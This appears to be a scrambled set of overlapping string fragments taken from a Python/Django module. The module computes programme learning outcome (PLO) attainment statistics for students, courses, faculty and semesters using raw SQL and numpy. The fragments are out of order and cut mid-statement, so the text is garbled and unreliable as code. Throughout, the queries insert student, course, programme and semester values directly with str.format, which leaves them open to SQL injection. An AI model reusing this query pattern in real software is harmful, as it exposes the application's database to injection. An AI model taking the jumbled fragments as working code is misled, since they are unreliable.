courses.sort() plo = [\"PLO1\", \"PLO2\",", "= emp.employeeID and emp.user_ptr_id = u.id )f GROUP BY f.first_name, f.plonum; '''.format(courseID, sem,", "= 100*(np.array(plos1)/np.array(plos2)) plos = plos.tolist() faculty = list(set(faculty)) plonum = list(set(plonum)) plonum.sort() plonum.sort(key=len,", "failed_per = 100 - acheived_per acheived_per = np.split(acheived_per, len(acheived_per)/len(semester)) failed_per = np.split(failed_per, len(failed_per)/len(semester))", "cursor.execute(''' SELECT f.course_id, f.ploNum, COUNT(*) FROM ( SELECT s.course_id, p.ploNum, 100*e.obtainedMarks/a.totalMarks as percentage", "and p.program_id = prog.programID and prog.programName = '{}' and a.section_id = s.sectionID and", "courses = [] counts = [] for record in row: plonum.append(record[0]) courses.append(record[1]) plonum", "co.plo_id = p.ploID and co.course_id = '{}' GROUP BY p.ploID '''.format(courseID)) row =", "[] plonum = [] plos1 = [] plos2 = [] for record in", "= a.assessmentID and a.co_id=co.coID and co.plo_id = p.ploID and p.program_id = '{}' GROUP", "and a.co_id=co.coID and co.plo_id = p.ploID and r.student_id = '{}' GROUP BY r.student_id,p.ploID)", "p.ploID '''.format(courseID)) row = cursor.fetchall() return row def getcompletedcourses(studentID): with connection.cursor() as cursor:", "s.semester IN ({}) and co.course_id ='{}' and s.course_id = co.course_id )f GROUP BY", "a, app_evaluation_t e, app_co_t co, app_plo_t p, app_student_t s, app_program_t pr WHERE r.registrationID", "app_assessment_t a, app_evaluation_t e, app_co_t co, app_plo_t p, app_section_t s, app_program_t prog WHERE", "SELECT u.first_name, u.last_name, p.ploNum as plonum, 100*e.obtainedMarks/a.totalMarks as percentage FROM app_registration_t r, app_assessment_t", "row1 = cursor.fetchall() cursor.execute(''' SELECT COUNT(*) FROM ( SELECT u.first_name, u.last_name, p.ploNum as", ")f WHERE f.percentage>=40 GROUP BY f.ploNum, f.course_id '''.format(program, sem)) row = cursor.fetchall() plonum", "SELECT COUNT(*) as all_cnt FROM ( SELECT s.semester, p.ploNum as plonum, s.course_id, 100*e.obtainedMarks/a.totalMarks", "p.ploNum as plonum, s.course_id, 100*e.obtainedMarks/a.totalMarks as percentage FROM app_registration_t r, app_assessment_t a, app_evaluation_t", "return plo, courses, table def getfacultycoursewisePLO(courseID, semesters): sem = ''; for semester in", "in row: if j == k[0] and i == k[1]: if category ==", "== 'chart': temptable.append(0) table.append(temptable) return plo, courses, table def getfacultycoursewisePLO(courseID, semesters): sem =", ">= 40 GROUP BY f.ploNum, f.course_id; '''.format(ploo, sem)) row1 = cursor.fetchall() with connection.cursor()", "app_assessment_t a, app_evaluation_t e, app_co_t co, app_plo_t p, app_section_t s, accounts_user u, app_employee_t", "FROM app_registration_t r, app_assessment_t a, app_evaluation_t e, app_co_t co, app_plo_t p, app_section_t s,", "= a.assessmentID and a.co_id=co.coID and co.plo_id = p.ploID and p.program_id = prog.programID and", "and a.co_id=co.coID and co.plo_id = p.ploID and r.student_id = '{}' and s.studentID =", "for entry in row: if entry[1] not in courses: courses.append(entry[1]) courses.sort() plo =", "FROM ( SELECT s.course_id, p.ploNum, 100*e.obtainedMarks/a.totalMarks as percentage FROM app_registration_t r, app_assessment_t a,", "a.section_id = s.sectionID and s.semester IN ({}) )f GROUP BY f.plonum; '''.format(program, sem))", "({}) and co.course_id ='{}' and s.course_id = co.course_id )f GROUP BY f.semester, f.plonum;", "= a.assessmentID and a.co_id=co.coID and co.plo_id = p.ploID and p.ploNum = derived.ploNum GROUP", "cursor.fetchall() courses = [] plonum = [] acheived = [] all_cnt = []", "django.db import connection import numpy as np def getstudentcoursewisePLO(studentID, courseID): with connection.cursor() as", "reverse=False) courses = list(set(courses)) courses.sort() table = np.zeros((len(courses), len(plonum))) for record in row:", "\"PLO7\", \"PLO8\", \"PLO9\", \"PLO10\", \"PLO11\", \"PLO12\"] for i in courses: temptable = []", "f.plonum, COUNT(*) FROM ( SELECT p.ploNum as plonum, r.student_id, 100*e.obtainedMarks/a.totalMarks as percentage FROM", "courses.sort() table = np.zeros((len(courses), len(plonum))) for record in row: table[courses.index(record[1])][plonum.index(record[0])] += record[2] table", "list(set(semester)) plonum = list(set(plonum)) failed_per = 100 - acheived_per acheived_per = np.split(acheived_per, len(acheived_per)/len(semester))", "co.course_id ='{}' and s.course_id = co.course_id )f GROUP BY f.semester, f.plonum; '''.format(sem, courseID))", "= a.assessmentID and a.co_id=co.coID and co.plo_id = p.ploID and p.ploNum in ({}) and", "GROUP BY f.plonum; '''.format(program, sem)) row1 = cursor.fetchall() with connection.cursor() as cursor: cursor.execute('''", "entry[1] not in courses: courses.append(entry[1]) courses.sort() plo = [\"PLO1\", \"PLO2\", \"PLO3\", \"PLO4\", \"PLO5\",", "for record in row2: all_cnt.append(record[0]) acheived_per = 100*(np.array(acheived)/np.array(all_cnt)) semester = list(set(semester)) plonum =", "row2 = cursor.fetchall() plonum = [] acheived = [] attempted = [] for", "in row1: plonum.append(record[0]) acheived.append(record[1]) for record in row2: attempted.append(record[0]) plonum = list(set(plonum)) acheived", "= derived.ploNum GROUP BY p.ploID,co.course_id '''.format(studentID)) row = cursor.fetchall() table = [] courses", "def getsemestercoursewisePLO(courseID, semesters): sem = ''; for semester in semesters: sem += '\"'", "SELECT p.ploNum as ploNum,sum(a.totalMarks) as Total, r.student_id as StudentID FROM app_registration_t r, app_assessment_t", "as cursor: cursor.execute(''' SELECT f.ploNum, f.course_id, COUNT(*) FROM ( SELECT p.ploNum as plonum,", "connection.cursor() as cursor: cursor.execute( ''' SELECT distinct s.course_id FROM app_registration_t r, app_evaluation_t e,", "plonum = [] acheived = [] all_cnt = [] for record in row1:", "= sem[:-1] with connection.cursor() as cursor: cursor.execute(''' SELECT f.first_name, f.last_name, f.plonum, COUNT(*) as", "faculty, plonum, new_plo def getsemestercoursewisePLO(courseID, semesters): sem = ''; for semester in semesters:", "s.semester IN ({}) )f WHERE f.percentage>=40 GROUP BY f.plonum; '''.format(program, sem)) row1 =", "= co.course_id )f GROUP BY f.semester, f.plonum; '''.format(sem, courseID)) row2 = cursor.fetchall() semester", "a.co_id=co.coID and co.plo_id = p.ploID and r.student_id = '{}' and co.course_id = '{}'", "courses.append(entry[1]) courses.sort() plo = [\"PLO1\", \"PLO2\", \"PLO3\", \"PLO4\", \"PLO5\", \"PLO6\", \"PLO7\", \"PLO8\", \"PLO9\",", "if category == 'report': temptable.append(np.round(100 * k[2] / k[3], 2)) elif category ==", "cursor.fetchall() return row def getstudentprogramid(studentID): with connection.cursor() as cursor: cursor.execute(''' SELECT s.program_id FROM", "plo ploo += '\",' ploo = ploo[:-1] with connection.cursor() as cursor: cursor.execute(''' SELECT", "s, accounts_user u, app_employee_t emp WHERE r.registrationID = e.registration_id and e.assessment_id = a.assessmentID", "\"PLO2\", \"PLO3\", \"PLO4\", \"PLO5\", \"PLO6\", \"PLO7\", \"PLO8\", \"PLO9\", \"PLO10\", \"PLO11\", \"PLO12\"] for i", "'{}' '''.format(studentID)) row = cursor.fetchall() return row def getstudentallcoursePLO(studentID, category): with connection.cursor() as", "and s.faculty_id = emp.employeeID and emp.user_ptr_id = u.id )f WHERE f.percentage >= 40", "'{}' and s.studentID = r.student_id and s.program_id = pr.programID GROUP BY p.ploID '''.format(studentID))", "len(acheived_per)/len(semester)) failed_per = np.split(failed_per, len(failed_per)/len(semester)) acheived=[] for plo in acheived_per: acheived.append(plo.tolist()) failed=[] for", "WHERE f.percentage >= 40 GROUP BY f.first_name, f.plonum; '''.format(courseID, sem, courseID)) row1 =", "WHERE r.registrationID = e.registration_id and r.section_id = s.sectionID and r.student_id = '{}' '''.format(studentID))", ")f WHERE f.percentage >= 40 GROUP BY f.ploNum, f.course_id; '''.format(ploo, sem)) row1 =", "i == k[1]: if category == 'report': temptable.append(np.round(100 * k[2] / k[3], 2))", "row1: plonum.append(record[0]) acheived.append(record[1]) for record in row2: attempted.append(record[0]) plonum = list(set(plonum)) acheived =", "i in courses: temptable = [] if category == 'report': temptable = [i]", "app_assessment_t a, app_evaluation_t e, app_co_t co, app_plo_t p, app_section_t s WHERE r.registrationID =", "BY f.ploNum, f.course_id; '''.format(ploo, sem)) row1 = cursor.fetchall() with connection.cursor() as cursor: cursor.execute('''", "in row2: attempted.append(record[0]) plonum = list(set(plonum)) acheived = np.array(acheived) attempted = np.array(attempted) new_acheived=[]", "in acheived: new_acheived.append(plo.tolist()) new_attempted=[] for plo in attempted: new_attempted.append(plo.tolist()) plonum.sort() plonum.sort(key=len, reverse=False) return", "as plonum, r.student_id, 100*e.obtainedMarks/a.totalMarks as percentage FROM app_registration_t r, app_assessment_t a, app_evaluation_t e,", "category == 'chart': temptable.append(0) table.append(temptable) return plo, courses, table def getfacultycoursewisePLO(courseID, semesters): sem", "e.registration_id and e.assessment_id = a.assessmentID and a.co_id=co.coID and co.plo_id = p.ploID and a.section_id", "np def getstudentcoursewisePLO(studentID, courseID): with connection.cursor() as cursor: cursor.execute(''' SELECT p.ploNum as plonum,100*(sum(e.obtainedMarks)/sum(a.totalMarks))", "s.semester IN ({}) and co.course_id ='{}' and s.course_id = co.course_id )f WHERE f.percentage", "co.plo_id = p.ploID and p.ploNum = derived.ploNum GROUP BY p.ploID,co.course_id '''.format(studentID)) row =", "plonum = list(set(plonum)) plonum.sort() plonum.sort(key=len, reverse=False) courses = list(set(courses)) courses.sort() table = np.zeros((len(courses),", "connection.cursor() as cursor: cursor.execute(''' SELECT p.ploNum as ploNum,co.course_id,sum(e.obtainedMarks),sum(a.totalMarks), derived.Total FROM app_registration_t r, app_assessment_t", "plo: found = False for k in row: if j == k[0] and", "p, app_section_t s, accounts_user u, app_employee_t emp WHERE r.registrationID = e.registration_id and e.assessment_id", "row1 = cursor.fetchall() cursor.execute(''' SELECT COUNT(*) as all_cnt FROM ( SELECT s.semester, p.ploNum", "row: plonum.append(record[0]) courses.append(record[1]) plonum = list(set(plonum)) plonum.sort() plonum.sort(key=len, reverse=False) courses = list(set(courses)) courses.sort()", "acheived.append(plo.tolist()) failed=[] for plo in failed_per: failed.append(plo.tolist()) return semester, plonum, acheived, failed def", "sem = sem[:-1] with connection.cursor() as cursor: cursor.execute(''' SELECT f.ploNum, f.course_id, COUNT(*) FROM", "({}) and a.section_id = s.sectionID and s.semester IN ({}) )f WHERE f.percentage >=", "all_cnt = [] for record in row1: semester.append(record[0]) plonum.append(record[1]) acheived.append(record[2]) for record in", "plos: new_plo.append(plo.tolist()) return faculty, plonum, new_plo def getsemestercoursewisePLO(courseID, semesters): sem = ''; for", "achieved_cnt FROM ( SELECT u.first_name, u.last_name, p.ploNum as plonum, 100*e.obtainedMarks/a.totalMarks as percentage FROM", "+= semester sem += '\",' sem = sem[:-1] with connection.cursor() as cursor: cursor.execute('''", "in row1: courses.append(record[0]) plonum.append(record[1]) acheived.append(record[2]) for record in row2: all_cnt.append(record[0]) acheived_per = 100*(np.array(acheived)/np.array(all_cnt))", "[] attempted = [] for record in row1: plonum.append(record[0]) acheived.append(record[1]) for record in", "plonum.append(record[0]) courses.append(record[1]) plonum = list(set(plonum)) plonum.sort() plonum.sort(key=len, reverse=False) courses = list(set(courses)) courses.sort() table", "k[1]: if category == 'report': temptable.append(np.round(100 * k[2] / k[3], 2)) elif category", "sem[:-1] with connection.cursor() as cursor: cursor.execute(''' SELECT f.ploNum, f.course_id, COUNT(*) FROM ( SELECT", "row: if entry[1] not in courses: courses.append(entry[1]) courses.sort() plo = [\"PLO1\", \"PLO2\", \"PLO3\",", "='{}' and s.faculty_id = emp.employeeID and emp.user_ptr_id = u.id )f GROUP BY f.first_name,", "FROM app_registration_t r, app_assessment_t a, app_evaluation_t e, app_co_t co, app_plo_t p, ( SELECT", "for plo in failed_per: failed.append(plo.tolist()) return semester, plonum, acheived, failed def getplowisecoursecomparism(plos, semesters):", "'''.format(ploo, sem)) row1 = cursor.fetchall() with connection.cursor() as cursor: cursor.execute(''' SELECT COUNT(*) FROM", "SELECT p.ploNum as plonum, r.student_id, 100*e.obtainedMarks/a.totalMarks as percentage FROM app_registration_t r, app_assessment_t a,", "and e.assessment_id = a.assessmentID and a.co_id=co.coID and co.plo_id = p.ploID and r.student_id =", "acheived = [] attempted = [] for record in row1: plonum.append(record[0]) acheived.append(record[1]) for", "reverse=False) return plonum, new_acheived, new_attempted def getprogramwiseploandcourses(program, semesters): sem = ''; for semester", "BY p.ploID '''.format(studentID, courseID)) row = cursor.fetchall() return row def getcoursewiseavgPLO(courseID): with connection.cursor()", "co.course_id = '{}' GROUP BY p.ploID '''.format(courseID)) row = cursor.fetchall() return row def", "row = cursor.fetchall() return row def getcoursewiseavgPLO(courseID): with connection.cursor() as cursor: cursor.execute(''' SELECT", "r, app_assessment_t a, app_evaluation_t e, app_co_t co, app_plo_t p, ( SELECT p.ploNum as", "sem += '\"' sem += semester sem += '\",' sem = sem[:-1] ploo", "courses: temptable = [] if category == 'report': temptable = [i] for j", "app_evaluation_t e, app_co_t co, app_plo_t p, app_section_t s, app_program_t prog WHERE r.registrationID =", "= '{}' and a.section_id = s.sectionID and s.semester IN ({}) )f WHERE f.percentage>=40", "row2: attempted.append(record[0]) plonum = list(set(plonum)) acheived = np.array(acheived) attempted = np.array(attempted) new_acheived=[] for", "COUNT(*) FROM ( SELECT p.ploNum as plonum, s.course_id, r.student_id, 100*e.obtainedMarks/a.totalMarks as percentage FROM", "and e.assessment_id = a.assessmentID and a.co_id=co.coID and co.plo_id = p.ploID and a.section_id =", "a.assessmentID and a.co_id=co.coID and co.plo_id = p.ploID and r.student_id = '{}' and co.course_id", "s WHERE s.studentID = '{}' '''.format(studentID)) row = cursor.fetchall() return row def getstudentallcoursePLO(studentID,", "({}) and s.course_id ='{}' and s.faculty_id = emp.employeeID and emp.user_ptr_id = u.id )f", "with connection.cursor() as cursor: cursor.execute(''' SELECT COUNT(*) FROM ( SELECT s.course_id, p.ploNum, 100*e.obtainedMarks/a.totalMarks", "= ''; for semester in semesters: sem += '\"' sem += semester sem", "u, app_employee_t emp WHERE r.registrationID = e.registration_id and e.assessment_id = a.assessmentID and a.co_id=co.coID", "and e.assessment_id = a.assessmentID and a.co_id=co.coID and co.plo_id = p.ploID and p.ploNum in", "f.last_name, f.plonum, COUNT(*) as achieved_cnt FROM ( SELECT u.first_name, u.last_name, p.ploNum as plonum,", "'''.format(studentID)) row = cursor.fetchall() return row def getcorrespondingstudentid(userID): with connection.cursor() as cursor: cursor.execute(", "u.id )f WHERE f.percentage >= 40 GROUP BY f.first_name, f.plonum; '''.format(courseID, sem, courseID))", "'''.format(programID)) row = cursor.fetchall() return row def getstudentprogramid(studentID): with connection.cursor() as cursor: cursor.execute('''", "ploo = ''; for plo in plos: ploo += '\"' ploo += plo", ")f WHERE f.percentage>=40 GROUP BY f.plonum; '''.format(program, sem)) row1 = cursor.fetchall() with connection.cursor()", "np.zeros((len(courses), len(plonum))) for record in row: table[courses.index(record[1])][plonum.index(record[0])] += record[2] table = table.tolist() return", "in plo: found = False for k in row: if j == k[0]", "app_evaluation_t e, app_co_t co, app_plo_t p, app_section_t s, accounts_user u, app_employee_t emp WHERE", "def getstudentcoursewisePLO(studentID, courseID): with connection.cursor() as cursor: cursor.execute(''' SELECT p.ploNum as plonum,100*(sum(e.obtainedMarks)/sum(a.totalMarks)) as", "len(failed_per)/len(semester)) acheived=[] for plo in acheived_per: acheived.append(plo.tolist()) failed=[] for plo in failed_per: failed.append(plo.tolist())", "sem += semester sem += '\",' sem = sem[:-1] ploo = ''; for", "plonum.append(record[0]) acheived.append(record[1]) for record in row2: attempted.append(record[0]) plonum = list(set(plonum)) acheived = np.array(acheived)", "= list(set(plonum)) acheived = np.array(acheived) attempted = np.array(attempted) new_acheived=[] for plo in acheived:", "and s.semester IN ({}) and co.course_id ='{}' and s.course_id = co.course_id )f GROUP", "p.ploID,co.course_id '''.format(studentID)) row = cursor.fetchall() table = [] courses = [] for entry", "SELECT p.ploNum as plonum,100*(sum(e.obtainedMarks)/sum(a.totalMarks)) as plopercent FROM app_registration_t r, app_assessment_t a, app_evaluation_t e,", "as plonum, 100*e.obtainedMarks/a.totalMarks as percentage FROM app_registration_t r, app_assessment_t a, app_evaluation_t e, app_co_t", "plonum.sort(key=len, reverse=False) courses = list(set(courses)) courses.sort() table = np.zeros((len(courses), len(plonum))) for record in", "GROUP BY f.ploNum, f.course_id; '''.format(ploo, sem)) row1 = cursor.fetchall() with connection.cursor() as cursor:", "list(set(plonum)) plonum.sort() plonum.sort(key=len, reverse=False) plos = np.array(plos) plos = np.split(plos, len(plos)/len(plonum)) new_plo=[] for", "= np.split(plos, len(plos)/len(plonum)) new_plo=[] for plo in plos: new_plo.append(plo.tolist()) return faculty, plonum, new_plo", "courses = [] plonum = [] acheived = [] all_cnt = [] for", "BY p.ploID '''.format(studentID)) row = cursor.fetchall() return row def getprogramwiseavgPLO(programID): with connection.cursor() as", "acheived.append(record[2]) for record in row2: all_cnt.append(record[0]) acheived_per = 100*(np.array(acheived)/np.array(all_cnt)) courses = list(set(courses)) plonum", "f.course_id, f.ploNum, COUNT(*) FROM ( SELECT s.course_id, p.ploNum, 100*e.obtainedMarks/a.totalMarks as percentage FROM app_registration_t", "s WHERE r.registrationID = e.registration_id and e.assessment_id = a.assessmentID and a.co_id=co.coID and co.plo_id", "plonum.sort() plonum.sort(key=len, reverse=False) return plonum, new_acheived, new_attempted def getprogramwiseploandcourses(program, semesters): sem = '';", "[\"PLO1\", \"PLO2\", \"PLO3\", \"PLO4\", \"PLO5\", \"PLO6\", \"PLO7\", \"PLO8\", \"PLO9\", \"PLO10\", \"PLO11\", \"PLO12\"] for", "faculty = list(set(faculty)) plonum = list(set(plonum)) plonum.sort() plonum.sort(key=len, reverse=False) plos = np.array(plos) plos", "p.ploNum as plonum, 100*e.obtainedMarks/a.totalMarks as percentage FROM app_registration_t r, app_assessment_t a, app_evaluation_t e,", "courseID)) row2 = cursor.fetchall() faculty = [] plonum = [] plos1 = []", "and a.co_id=co.coID and co.plo_id = p.ploID and co.course_id = '{}' GROUP BY p.ploID", "plonum, avg(100*e.obtainedMarks/a.totalMarks) FROM app_registration_t r, app_assessment_t a, app_evaluation_t e, app_co_t co, app_plo_t p", "s WHERE s.course_id = '{}' ) and s.semester IN ({}) and s.course_id ='{}'", "with connection.cursor() as cursor: cursor.execute(''' SELECT f.semester, f.plonum, COUNT(*) as achieved_cnt FROM (", "and r.student_id = '{}' and co.course_id = '{}' GROUP BY p.ploID '''.format(studentID, courseID))", "np.array(plos) plos = np.split(plos, len(plos)/len(plonum)) new_plo=[] for plo in plos: new_plo.append(plo.tolist()) return faculty,", "plonum.append(record[2]) plos1.append(record[3]) for record in row2: plos2.append(record[0]) plos = 100*(np.array(plos1)/np.array(plos2)) plos = plos.tolist()", "cursor.execute(''' SELECT f.first_name, f.last_name, f.plonum, COUNT(*) as achieved_cnt FROM ( SELECT u.first_name, u.last_name,", "GROUP BY f.first_name, f.plonum; '''.format(courseID, sem, courseID)) row2 = cursor.fetchall() faculty = []", "+= '\",' sem = sem[:-1] with connection.cursor() as cursor: cursor.execute(''' SELECT f.semester, f.plonum,", "app_plo_t p, ( SELECT p.ploNum as ploNum,sum(a.totalMarks) as Total, r.student_id as StudentID FROM", "with connection.cursor() as cursor: cursor.execute(''' SELECT p.ploNum as plonum,100*(sum(e.obtainedMarks)/sum(a.totalMarks)) as plopercent FROM app_registration_t", "e.assessment_id = a.assessmentID and a.co_id=co.coID and co.plo_id = p.ploID and a.section_id = s.sectionID", "co.plo_id = p.ploID and p.program_id = '{}' GROUP BY p.ploID '''.format(programID)) row =", "as percentage FROM app_registration_t r, app_assessment_t a, app_evaluation_t e, app_co_t co, app_plo_t p,", "distinct s.course_id FROM app_registration_t r, app_evaluation_t e, app_section_t s WHERE r.registrationID = e.registration_id", "cursor.fetchall() with connection.cursor() as cursor: cursor.execute(''' SELECT COUNT(*) FROM ( SELECT s.course_id, p.ploNum,", "plos2 = [] for record in row1: faculty.append(record[0]+' '+record[1]) plonum.append(record[2]) plos1.append(record[3]) for record", "SELECT distinct s.course_id FROM app_registration_t r, app_evaluation_t e, app_section_t s WHERE r.registrationID =", "avg(100*e.obtainedMarks/a.totalMarks) FROM app_registration_t r, app_assessment_t a, app_evaluation_t e, app_co_t co, app_plo_t p WHERE", "with connection.cursor() as cursor: cursor.execute(''' SELECT f.ploNum, f.course_id, COUNT(*) FROM ( SELECT p.ploNum", "not in courses: courses.append(entry[1]) courses.sort() plo = [\"PLO1\", \"PLO2\", \"PLO3\", \"PLO4\", \"PLO5\", \"PLO6\",", "and co.course_id = '{}' GROUP BY p.ploID '''.format(studentID, courseID)) row = cursor.fetchall() return", "and i == k[1]: if category == 'report': temptable.append(np.round(100 * k[2] / k[3],", "and s.faculty_id = emp.employeeID and emp.user_ptr_id = u.id )f GROUP BY f.first_name, f.plonum;", "s.semester IN ({}) )f WHERE f.percentage>=40 GROUP BY f.ploNum, f.course_id '''.format(program, sem)) row", "= False for k in row: if j == k[0] and i ==", "and p.program_id = '{}' GROUP BY p.ploID '''.format(programID)) row = cursor.fetchall() return row", "/ k[4], 2)) found = True if not found: if category == 'report':", "s.course_id, 100*e.obtainedMarks/a.totalMarks as percentage FROM app_registration_t r, app_assessment_t a, app_evaluation_t e, app_co_t co,", "'\",' ploo = ploo[:-1] with connection.cursor() as cursor: cursor.execute(''' SELECT f.course_id, f.ploNum, COUNT(*)", "cursor.execute(''' SELECT COUNT(*) as all_cnt FROM ( SELECT s.semester, p.ploNum as plonum, s.course_id,", "record in row2: all_cnt.append(record[0]) acheived_per = 100*(np.array(acheived)/np.array(all_cnt)) courses = list(set(courses)) plonum = list(set(plonum))", "GROUP BY p.ploID '''.format(programID)) row = cursor.fetchall() return row def getstudentprogramid(studentID): with connection.cursor()", "return row def getcompletedcourses(studentID): with connection.cursor() as cursor: cursor.execute( ''' SELECT distinct s.course_id", "connection.cursor() as cursor: cursor.execute(''' SELECT COUNT(*) FROM ( SELECT s.course_id, p.ploNum, 100*e.obtainedMarks/a.totalMarks as", "= p.ploID and a.section_id = s.sectionID and s.faculty_id IN ( SELECT DISTINCT s.faculty_id", "s.course_id, p.ploNum, 100*e.obtainedMarks/a.totalMarks as percentage FROM app_registration_t r, app_assessment_t a, app_evaluation_t e, app_co_t", "a, app_evaluation_t e, app_co_t co, app_plo_t p, app_section_t s, app_program_t prog WHERE r.registrationID", "p.ploID '''.format(programID)) row = cursor.fetchall() return row def getstudentprogramid(studentID): with connection.cursor() as cursor:", "app_section_t s, app_program_t prog WHERE r.registrationID = e.registration_id and e.assessment_id = a.assessmentID and", "u.last_name, p.ploNum as plonum, 100*e.obtainedMarks/a.totalMarks as percentage FROM app_registration_t r, app_assessment_t a, app_evaluation_t", "and a.section_id = s.sectionID and s.semester IN ({}) )f WHERE f.percentage >= 40", "category == 'chart': temptable.append(np.round(100 * k[2] / k[4], 2)) found = True if", "'report': temptable.append('N/A') elif category == 'chart': temptable.append(0) table.append(temptable) return plo, courses, table def", "[] plonum = [] acheived = [] all_cnt = [] for record in", "= '{}' ) and s.semester IN ({}) and s.course_id ='{}' and s.faculty_id =", "as achieved_cnt FROM ( SELECT u.first_name, u.last_name, p.ploNum as plonum, 100*e.obtainedMarks/a.totalMarks as percentage", "and s.program_id = pr.programID GROUP BY p.ploID '''.format(studentID)) row = cursor.fetchall() return row", "connection.cursor() as cursor: cursor.execute( ''' SELECT studentID FROM app_student_t s WHERE s.user_ptr_id =", "semester sem += '\",' sem = sem[:-1] with connection.cursor() as cursor: cursor.execute(''' SELECT", "= p.ploID and a.section_id = s.sectionID and s.semester IN ({}) and co.course_id ='{}'", "ploo[:-1] with connection.cursor() as cursor: cursor.execute(''' SELECT f.course_id, f.ploNum, COUNT(*) FROM ( SELECT", "({}) )f WHERE f.percentage >= 40 GROUP BY f.ploNum, f.course_id; '''.format(ploo, sem)) row1", "as np def getstudentcoursewisePLO(studentID, courseID): with connection.cursor() as cursor: cursor.execute(''' SELECT p.ploNum as", "f.first_name, f.plonum; '''.format(courseID, sem, courseID)) row1 = cursor.fetchall() cursor.execute(''' SELECT COUNT(*) FROM (", "= '{}' GROUP BY p.ploID '''.format(programID)) row = cursor.fetchall() return row def getstudentprogramid(studentID):", "app_co_t co, app_plo_t p, ( SELECT p.ploNum as ploNum,sum(a.totalMarks) as Total, r.student_id as", "= p.ploID and r.student_id = '{}' GROUP BY r.student_id,p.ploID) derived WHERE r.student_id =", "'''.format(studentID)) row = cursor.fetchall() table = [] courses = [] for entry in", "== k[1]: if category == 'report': temptable.append(np.round(100 * k[2] / k[3], 2)) elif", "faculty = [] plonum = [] plos1 = [] plos2 = [] for", "plos = 100*(np.array(plos1)/np.array(plos2)) plos = plos.tolist() faculty = list(set(faculty)) plonum = list(set(plonum)) plonum.sort()", "and a.section_id = s.sectionID and s.semester IN ({}) )f GROUP BY f.plonum; '''.format(program,", "sem)) row2 = cursor.fetchall() plonum = [] acheived = [] attempted = []", "f.percentage >= 40 GROUP BY f.semester, f.plonum; '''.format(sem, courseID)) row1 = cursor.fetchall() cursor.execute('''", "f.ploNum, f.course_id '''.format(program, sem)) row = cursor.fetchall() plonum = [] courses = []", "app_student_t s WHERE s.user_ptr_id = '{}' '''.format(userID)) row = cursor.fetchall() return row def", "for j in plo: found = False for k in row: if j", "getstudentallcoursePLO(studentID, category): with connection.cursor() as cursor: cursor.execute(''' SELECT p.ploNum as ploNum,co.course_id,sum(e.obtainedMarks),sum(a.totalMarks), derived.Total FROM", "emp.user_ptr_id = u.id )f WHERE f.percentage >= 40 GROUP BY f.first_name, f.plonum; '''.format(courseID,", "cursor.execute(''' SELECT COUNT(*) FROM ( SELECT p.ploNum as plonum, r.student_id, 100*e.obtainedMarks/a.totalMarks as percentage", "acheived_per = 100*(np.array(acheived)/np.array(all_cnt)) courses = list(set(courses)) plonum = list(set(plonum)) acheived_per = np.split(acheived_per, len(acheived_per)/len(plonum))", "plonum, acheived def getprogramsemesterwiseplocount(program, semesters): sem = ''; for semester in semesters: sem", "DISTINCT s.faculty_id FROM app_section_t s WHERE s.course_id = '{}' ) and s.semester IN", "== 'report': temptable.append(np.round(100 * k[2] / k[3], 2)) elif category == 'chart': temptable.append(np.round(100", "r.student_id = '{}' and s.studentID = r.student_id and s.program_id = pr.programID GROUP BY", "np.split(failed_per, len(failed_per)/len(semester)) acheived=[] for plo in acheived_per: acheived.append(plo.tolist()) failed=[] for plo in failed_per:", "co.plo_id = p.ploID and p.ploNum in ({}) and a.section_id = s.sectionID and s.semester", "plonum,100*(sum(e.obtainedMarks)/sum(a.totalMarks)) as plopercent FROM app_registration_t r, app_assessment_t a, app_evaluation_t e, app_co_t co, app_plo_t", "= np.array(attempted) new_acheived=[] for plo in acheived: new_acheived.append(plo.tolist()) new_attempted=[] for plo in attempted:", "= list(set(plonum)) failed_per = 100 - acheived_per acheived_per = np.split(acheived_per, len(acheived_per)/len(semester)) failed_per =", "connection.cursor() as cursor: cursor.execute(''' SELECT f.semester, f.plonum, COUNT(*) as achieved_cnt FROM ( SELECT", "= sem[:-1] ploo = ''; for plo in plos: ploo += '\"' ploo", "e.assessment_id = a.assessmentID and a.co_id=co.coID and co.plo_id = p.ploID and p.program_id = '{}'", "= '{}' '''.format(studentID)) row = cursor.fetchall() return row def getcorrespondingstudentid(userID): with connection.cursor() as", "e, app_section_t s WHERE r.registrationID = e.registration_id and r.section_id = s.sectionID and r.student_id", "app_section_t s WHERE r.registrationID = e.registration_id and r.section_id = s.sectionID and r.student_id =", "plos1.append(record[3]) for record in row2: plos2.append(record[0]) plos = 100*(np.array(plos1)/np.array(plos2)) plos = plos.tolist() faculty", "plonum, r.student_id, 100*e.obtainedMarks/a.totalMarks as percentage FROM app_registration_t r, app_assessment_t a, app_evaluation_t e, app_co_t", "s.sectionID and s.semester IN ({}) )f GROUP BY f.plonum; '''.format(program, sem)) row2 =", "k[3], 2)) elif category == 'chart': temptable.append(np.round(100 * k[2] / k[4], 2)) found", "def getfacultycoursewisePLO(courseID, semesters): sem = ''; for semester in semesters: sem += '\"'", "sem, courseID)) row2 = cursor.fetchall() faculty = [] plonum = [] plos1 =", "= cursor.fetchall() return row def getcorrespondingstudentid(userID): with connection.cursor() as cursor: cursor.execute( ''' SELECT", "s.program_id = pr.programID GROUP BY p.ploID '''.format(studentID)) row = cursor.fetchall() return row def", "elif category == 'chart': temptable.append(np.round(100 * k[2] / k[4], 2)) found = True", "SELECT COUNT(*) FROM ( SELECT p.ploNum as plonum, r.student_id, 100*e.obtainedMarks/a.totalMarks as percentage FROM", "a.section_id = s.sectionID and s.semester IN ({}) )f GROUP BY f.ploNum, f.course_id; '''.format(ploo,", "= pr.programID GROUP BY p.ploID '''.format(studentID)) row = cursor.fetchall() return row def getprogramwiseavgPLO(programID):", "= [] for record in row1: semester.append(record[0]) plonum.append(record[1]) acheived.append(record[2]) for record in row2:", "\"PLO3\", \"PLO4\", \"PLO5\", \"PLO6\", \"PLO7\", \"PLO8\", \"PLO9\", \"PLO10\", \"PLO11\", \"PLO12\"] for i in", "elif category == 'chart': temptable.append(0) table.append(temptable) return plo, courses, table def getfacultycoursewisePLO(courseID, semesters):", "as plonum, s.course_id, 100*e.obtainedMarks/a.totalMarks as percentage FROM app_registration_t r, app_assessment_t a, app_evaluation_t e,", "k[4], 2)) found = True if not found: if category == 'report': temptable.append('N/A')", "courses = list(set(courses)) plonum = list(set(plonum)) acheived_per = np.split(acheived_per, len(acheived_per)/len(plonum)) acheived=[] for plo", "= cursor.fetchall() return row def getcoursewiseavgPLO(courseID): with connection.cursor() as cursor: cursor.execute(''' SELECT p.ploNum", "= s.sectionID and s.faculty_id IN ( SELECT DISTINCT s.faculty_id FROM app_section_t 